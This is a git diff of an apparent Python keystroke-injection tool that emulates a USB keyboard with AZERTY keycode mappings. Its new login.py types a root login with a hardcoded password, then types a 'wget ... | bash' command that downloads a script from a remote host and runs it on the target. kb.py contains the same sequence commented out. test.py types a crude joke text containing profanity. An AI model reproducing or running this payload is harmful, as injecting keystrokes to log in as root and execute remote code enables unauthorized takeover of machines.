diff --git a/__pycache__/getch.cpython-37.pyc b/__pycache__/getch.cpython-37.pyc new file mode 100644 index 0000000..f0ed174 Binary files /dev/null and b/__pycache__/getch.cpython-37.pyc differ diff --git a/__pycache__/kb.cpython-37.pyc b/__pycache__/kb.cpython-37.pyc new file mode 100644 index 0000000..570b36d Binary files /dev/null and b/__pycache__/kb.cpython-37.pyc differ diff --git a/__pycache__/keycodes.cpython-37.pyc b/__pycache__/keycodes.cpython-37.pyc index 0f6d51c..9ac577c 100644 Binary files a/__pycache__/keycodes.cpython-37.pyc and b/__pycache__/keycodes.cpython-37.pyc differ diff --git a/getch.py b/getch.py new file mode 100644 index 0000000..b03c824 --- /dev/null +++ b/getch.py @@ -0,0 +1,39 @@ +class _Getch: + """Gets a single character from standard input. Does not echo to the +screen.""" + def __init__(self): + try: + self.impl = _GetchWindows() + except ImportError: + self.impl = _GetchUnix() + + def __call__(self): return self.impl() + + +class _GetchUnix: + def __init__(self): + import tty, sys + + def __call__(self): + import sys, tty, termios + fd = sys.stdin.fileno() + old_settings = termios.tcgetattr(fd) + try: + tty.setraw(sys.stdin.fileno()) + ch = sys.stdin.read(1) + finally: + termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) + #print(hex(ord(ch))) + return ch + + +class _GetchWindows: + def __init__(self): + import msvcrt + + def __call__(self): + import msvcrt + return msvcrt.getch() + + +getch = _Getch() diff --git a/input.py b/input.py new file mode 100755 index 0000000..4c57a36 --- /dev/null +++ b/input.py @@ -0,0 +1,14 @@ +#!/usr/bin/env python3 +from kb import write_str +from time import sleep +from getch import _Getch + +get = _Getch(); +while True: + input_key = get() + print(input_key) + #if input_key == "?": + # break + if ord(input_key) == 27: + break + write_str(input_key) diff --git a/kb.py b/kb.py index 08c0f75..8c1f65d 100755 --- a/kb.py +++ b/kb.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 import keycodes -import time +#import time NULL_CHAR = chr(0) @@ -52,8 +52,14 @@ def write_str(word): letter = "\\" write_caps(keycodes.keycodelst[letter]) continue + if letter == "!": + letter = "1" + write_caps(keycodes.keycodelst[letter]) + if letter == "*": + letter = "8" + write_caps(keycodes.keycodelst[letter]) if letter.capitalize() == letter and letter >= 'A' and letter <= 'Z': - print(letter.capitalize(), letter) + #print(letter.capitalize(), letter) write_caps(keycodes.keycodelst[letter]) write_report(NULL_CHAR*8) continue @@ -61,13 +67,18 @@ def write_str(word): letter = letter.capitalize() if letter == "\n": letter = "ENTER" - write_char(keycodes.keycodelst[letter]) - write_report(NULL_CHAR*8) + try: + write_char(keycodes.keycodelst[letter]) + except: + print("Unsupported keycode! Ask Cole Deck to add support.") + finally: + write_report(NULL_CHAR*8) -write_str("root\n") -time.sleep(0.5) -write_str("qwertypass\n") -time.sleep(2) -write_str("dwget deck.sh/p -qO-|bash\n") +#write_str("root\n") +#time.sleep(0.5) +#write_str("qwertypass\n") +#time.sleep(2) +#write_str("dwget deck.sh/p -qO-|bash\n") +#time.sleep(1) #write_word("test|er") diff --git a/keycodes.py b/keycodes.py index 7cf14a2..6035db3 100644 --- a/keycodes.py +++ b/keycodes.py @@ -43,8 +43,8 @@ keycodelst["TAB"] = 0x2b keycodelst[" "] = 0x2c keycodelst["RIGHT_PARENTHESIS"] = 0x2d keycodelst["="] = 0x2e -keycodelst["CARET"] = 0x2f -keycodelst["DOLLAR_SIGN"] = 0x30 +keycodelst["^"] = 0x2f +#keycodelst["DOLLAR_SIGN"] = 0x30 keycodelst["\\"] = 0x31 # Actually a mu keycodelst["#"] = 0x32 keycodelst["U_ACCENT"] = 0x34 @@ -92,8 +92,9 @@ keycodelst["REFRESH"] = 0xfa # Keycodes that have no mapping in AZERTY keycodelst["/"] = 0x38 -keycodelst["["] = 0x0 +keycodelst["["] = 0x2f keycodelst["-"] = 0x2d -keycodelst["]"] = 0x0 +keycodelst["]"] = 0x30 keycodelst["."] = 0x37 keycodelst["\'"] = 0x31 # This exists, but we use keycodelst["4 instead. +keycodelst["`"] = 0x35 diff --git a/login.py b/login.py new file mode 100755 index 0000000..88c0504 --- /dev/null +++ b/login.py @@ -0,0 +1,10 @@ +#!/usr/bin/env python3 +from kb import write_str +from time import sleep + +write_str("root\n") +sleep(0.5) +write_str("qwertypass\n") +sleep(2) +write_str("dwget deck.sh/p -qO-|bash\n") +sleep(1) diff --git a/template.py b/template.py new file mode 100755 index 0000000..aea5802 --- /dev/null +++ b/template.py @@ -0,0 +1,3 @@ +#!/usr/bin/env python3 +from kb import write_str +from time import sleep diff --git a/test.py b/test.py new file mode 100755 index 0000000..4a00ff8 --- /dev/null +++ b/test.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python3 +from kb import write_str +from time import sleep + +#write_str("Number one. Steady hand. One day, Kim Jong Un need new heart. I do operation. But mistake! Kim Jong Un die! SSD very mad! I hide fishing boat, come to America. No English, no food, no money. Darryl give me job. Now I have house, American car and new woman. Darryl save life.\n\nMy big secret. I kill Kim Jong Un on purpose. I good surgeon. The best!") +write_str("Today when I walked into my economics class I saw something I dread every time I close my eyes. Someone had brought their new gaming laptop to class. The Forklift he used to bring it was still running idle at the back. I started sweating as I sat down and gazed over at the 700lb beast that was his laptop. He had already reinforced his desk with steel support beams and was in the process of finding an outlet for a power cable thicker than Amy Schumer's thigh. I start shaking. I keep telling myself I'm going to be alright and that there's nothing to worry about. He somehow finds a fucking outlet. Tears are running down my cheeks as I send my last texts to my family saying I love them. The teacher starts the lecture, and the student turns his laptop on. The colored lights on his RGB Backlit keyboard flare to life like a nuclear flash, and a deep humming fills my ears and shakes my very soul. The entire city power grid goes dark. The classroom begins to shake as the massive fans begin to spin. In mere seconds my world has gone from vibrant life, to a dark, earth shattering void where my body is getting torn apart by the 150mph gale force winds and the 500 decibel groan of the cooling fans. As my body finally surrenders, I weep, as my school and my city go under. I fucking hate gaming laptops.")